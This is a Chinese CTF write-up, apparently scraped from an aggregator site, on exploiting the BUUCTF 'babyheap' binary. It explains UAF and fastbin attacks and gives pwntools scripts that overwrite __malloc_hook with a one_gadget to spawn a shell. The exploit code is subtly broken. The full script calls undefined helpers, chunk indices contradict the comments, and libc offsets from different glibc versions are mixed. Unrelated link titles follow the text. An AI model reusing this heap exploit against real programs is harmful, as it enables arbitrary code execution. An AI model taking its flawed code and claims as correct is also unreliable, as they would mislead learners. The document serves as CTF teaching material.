当前位置: 首页 > news >正文

BUUCTF-babyheap_ctf_题解(含详细过程与思路分析)

BUUCTF-babyheap_ctf_题解(含详细过程与思路分析)

前言:堆漏洞与CTF实战在CTF(Capture The Flag)比赛中,PWN类题目常常考察选手对二进制漏洞的深入理解,其中堆相关漏洞是高频考点。BUUCTF上的babyheap是一道经典的堆溢出题目,涉及Fastbin Attack、UAF(Use-After-Free)等核心技巧。本文将从原理出发,逐步剖析漏洞利用的完整过程,并附带可运行的代码示例,帮助读者掌握堆漏洞利用的基本思路。## 题目分析:漏洞定位与程序结构首先,我们需要通过逆向工程(如使用IDA Pro或Ghidra)分析程序的二进制文件。babyheap通常是一个菜单驱动的堆管理程序,提供以下功能:-allocate(size):分配指定大小的堆块-fill(index, content):向已分配的堆块写入数据-free(index):释放堆块-dump(index):打印堆块内容通过分析,我们可以发现以下关键点:1.堆块大小限制:分配的大小通常在0x18到0x68之间,意味着所有堆块都会进入Fastbin(大小小于0x80)。2.UAF漏洞:在free函数中,程序没有将指针置NULL,导致释放后仍能通过dumpfill操作访问堆块。3.堆溢出fill函数在写入数据时未严格检查长度,导致可以溢出到相邻堆块。### UAF漏洞原理UAF漏洞的核心在于:程序释放堆块后,对应的指针仍然存在且未被清空。攻击者可以通过这个指针继续操作堆块,而该堆块可能已经被重新分配,从而造成信息泄露或控制流劫持。## 利用思路:从信息泄露到控制流### 1. 泄露libc地址由于ASLR(地址空间布局随机化)的存在,我们需要先泄露libc的基地址。通常利用Unsorted Bin来获取libc地址:当我们释放一个大小不在Fastbin范围内的堆块时,它会进入Unsorted Bin,其fdbk指针会指向main_arena中的偏移量。通过UAF漏洞读取这些指针,即可计算libc基地址。### 2. 修改__free_hook__malloc_hook在libc中,__free_hook__malloc_hook是用于调试的函数指针。如果我们能修改它们为system函数的地址,当程序调用freemalloc时就会执行system("/bin/sh"),从而获得shell。### 3. Fastbin Attack由于堆块大小受限,我们需要利用Fastbin的单链表机制进行攻击。具体步骤:- 分配多个相同大小的堆块,释放其中两个,使Fastbin的链表结构可控。- 通过堆溢出修改某个已释放堆块的fd指针,使其指向伪造的堆块(例如__malloc_hook附近的地址)。- 再次分配堆块时,程序会从Fastbin中取出我们伪造的堆块,从而在目标地址写入数据。## 实战步骤与代码示例### 环境准备- 操作系统:Ubuntu 18.04(glibc 2.27)- 工具:pwntools, gdb### 步骤1:信息泄露首先,我们需要泄露堆地址和libc地址。以下代码展示了如何利用UAF读取堆块内容:pythonfrom pwn import *context.log_level = 'debug'p = process('./babyheap')elf = ELF('./babyheap')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def allocate(size): p.sendlineafter(b'>> ', b'1') p.sendlineafter(b'Size: ', str(size).encode())def fill(index, content): p.sendlineafter(b'>> ', b'2') p.sendlineafter(b'Index: ', str(index).encode()) p.sendafter(b'Content: ', content)def free(index): p.sendlineafter(b'>> ', b'3') p.sendlineafter(b'Index: ', str(index).encode())def dump(index): p.sendlineafter(b'>> ', b'4') p.sendlineafter(b'Index: ', str(index).encode()) return p.recvline()# 分配堆块allocate(0x68) # chunk0allocate(0x68) # chunk1, 用于隔离allocate(0x68) # chunk2# 释放chunk0,使其进入Fastbinfree(0)# 通过UAF读取chunk0的fd指针(指向chunk2)leak = dump(0)heap_addr = u64(leak[:6].ljust(8, b'\x00'))log.info(f"Heap leak: {hex(heap_addr)}")### 步骤2:利用堆溢出修改Fastbin指针接下来,我们利用fill函数的溢出能力,修改已释放堆块的fd指针,使其指向__malloc_hook附近的地址。这里需要计算偏移量:python# 分配一个新的堆块,用于溢出allocate(0x18) # chunk3allocate(0x18) # chunk4allocate(0x18) # chunk5# 释放chunk3和chunk4,形成Fastbin链表: chunk3 -> chunk4free(3)free(4)# 利用fill函数溢出chunk3,修改其fd指针# 目标:将fd指向__malloc_hook - 0x23 处的伪堆块libc.address = 0x7ffff7dd4b00 # 假设通过泄露得到target_addr = libc.sym['__malloc_hook'] - 0x23# 构造payload: 填充数据 + 伪造的fdpayload = b'A' * 0x18 # 填充chunk3的data区域payload += p64(0x21) # 伪造下一个堆块的sizepayload += p64(target_addr) # 修改fd指针fill(4, payload) # 注意:这里fill的是chunk4,但溢出到了chunk3的fd### 步骤3:获取shell最后,我们通过多次分配,最终在__malloc_hook处写入one_gadget地址,触发shell:python# 从Fastbin中取出两个堆块allocate(0x18) # chunk6, 从Fastbin取出原chunk4allocate(0x18) # chunk7, 从Fastbin取出原chunk3# 第三次分配时,会从伪造的地址取出堆块# 此时,我们写入one_gadgetone_gadget = 0x4f2c5 # 根据glibc版本确定payload = b'A' * (0x23 - 0x10) # 填充到__malloc_hookpayload += p64(one_gadget)fill(7, payload)# 触发malloc,执行one_gadgetallocate(0x18) # 触发shellp.interactive()## 完整利用代码以下是一个完整的利用脚本,整合了上述步骤:pythonfrom pwn import *context.log_level = 'info'def exploit(): p = process('./babyheap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 分配堆块,用于泄露 allocate(0x68) allocate(0x68) allocate(0x68) # 释放并泄露heap地址 free(0) heap_leak = dump(0) heap_addr = u64(heap_leak[:6].ljust(8, b'\x00')) log.success(f"Heap address: {hex(heap_addr)}") # 释放chunk1(chunk1在chunk0之前释放,形成链表) free(1) # 通过UAF读取chunk1的fd,泄露libc地址 libc_leak = dump(1) libc_addr = u64(libc_leak[:6].ljust(8, b'\x00')) libc.address = libc_addr - 0x3c4b78 # 根据实际偏移调整 log.success(f"Libc base: {hex(libc.address)}") # 堆溢出修改fd allocate(0x18) allocate(0x18) free(3) free(4) target = libc.sym['__malloc_hook'] - 0x23 payload = b'A' * 0x18 + p64(0x21) + p64(target) fill(4, payload) # 分配两次,写入one_gadget allocate(0x18) allocate(0x18) one_gadget = libc.address + 0x4f2c5 payload = b'A' * (0x23 - 0x10) + p64(one_gadget) fill(7, payload) # 触发 allocate(0x18) p.interactive()if __name__ == '__main__': exploit()## 总结本文通过BUUCTF的babyheap题目,详细演示了堆漏洞利用的完整流程:从漏洞发现(UAF和堆溢出)到信息泄露(利用Unsorted Bin),再到控制流劫持(Fastbin Attack修改__malloc_hook)。核心要点包括:1.理解Fastbin机制:Fastbin是单链表结构,释放的堆块按大小分类,且fd指针指向下一个空闲块。2.利用UAF进行信息泄露:释放后不清空指针是常见漏洞,可用来读取内核数据结构。3.堆溢出修改链表:通过覆盖相邻堆块的元数据,可以伪造Fastbin链表,实现任意地址分配。实际CTF比赛中,堆漏洞的利用需要结合具体环境(如glibc版本、保护机制等)进行调整。建议读者在本地搭建调试环境,逐步验证每个步骤,加深对堆管理器的理解。掌握这些基础技巧后,面对更复杂的堆利用题目(如House of系列)将更加得心应手。

http://www.jsqmd.com/news/1262741/

相关文章:

  • 强势文化与弱势文化的底层分野
  • 暗黑破坏神2终极高清补丁:D2DX让你的经典游戏焕然一新!
  • 数据库架构设计:从单库到分库分表
  • Taotoken用量看板如何帮助个人开发者清晰掌控API成本
  • 智能驱动管理方案:Windows连接苹果设备的专业指南
  • Windows 11终极清理优化指南:5分钟释放系统潜能,隐私安全全面升级
  • 研究生科研Prompt模板:从论文翻译到审稿回复的全流程AI辅助
  • 东阳红木家具多维选厂——2026红木口碑材质业主综合评价 - 新闻快传
  • 本地LLM性能优化实战:KV缓存与量化技术提升推理效率
  • AI毕业设计选题指南:深度学习与NLP实战方向
  • 基于深度学习的蔬菜识别系统设计与优化
  • 操作系统内核缓存调优:超越Redis的系统级性能优化指南
  • 2026连续外出客户拜访攒了一堆未整理录音,哪款会议记录ai好用
  • 教育机构搭建AI教学实验室如何利用Taotoken统一分发模型能力
  • 【大话云原生】煮饺子与docker、kubernetes之间的关系
  • 147、OIS光学防抖系统设计:陀螺仪标定、音圈马达驱动与滚珠式vs悬丝式对比
  • 终极日志分析指南:用LogExpert告别混乱的tail命令
  • 2026年发电机电力设备租赁厂家选购指南:发电机出租、UPS电源车、变压器电缆成套设备租赁选择指南,产能、服务、运维三维度客观解析 - 海棠依旧大
  • AI知识管理系统:从文档检索到智能问答的实践
  • 5秒转换:让B站缓存视频重获新生的跨平台神器
  • Unity与Visual Studio智能提示失效的深度诊断与修复指南
  • AST反混淆实战:某电商平台控制流平坦化破解,3小时还原AES签名逻辑
  • 骨料散装机厂家排名:企业采购选型核心参考依据拆解 - GrowthUME
  • 上海借条法律效力写法律所推荐:规范书写要点与瑕疵补救措施 - 品牌深度评测
  • 低成本AI对话API对接指南与优化实践
  • 如何3步为Qwerty Learner添加自定义词典:打造个性化打字学习体验
  • Seedance 2.0与Seedream 5.0:AI舞蹈生成与多模态视频创作技术解析
  • Umi-OCR:免费离线OCR的终极解决方案,3分钟快速上手指南
  • 146、AI AWB方法:基于卷积神经网络的色温估计与场景分类调优
  • 利用MCP协议与代码知识图谱构建AI代码理解系统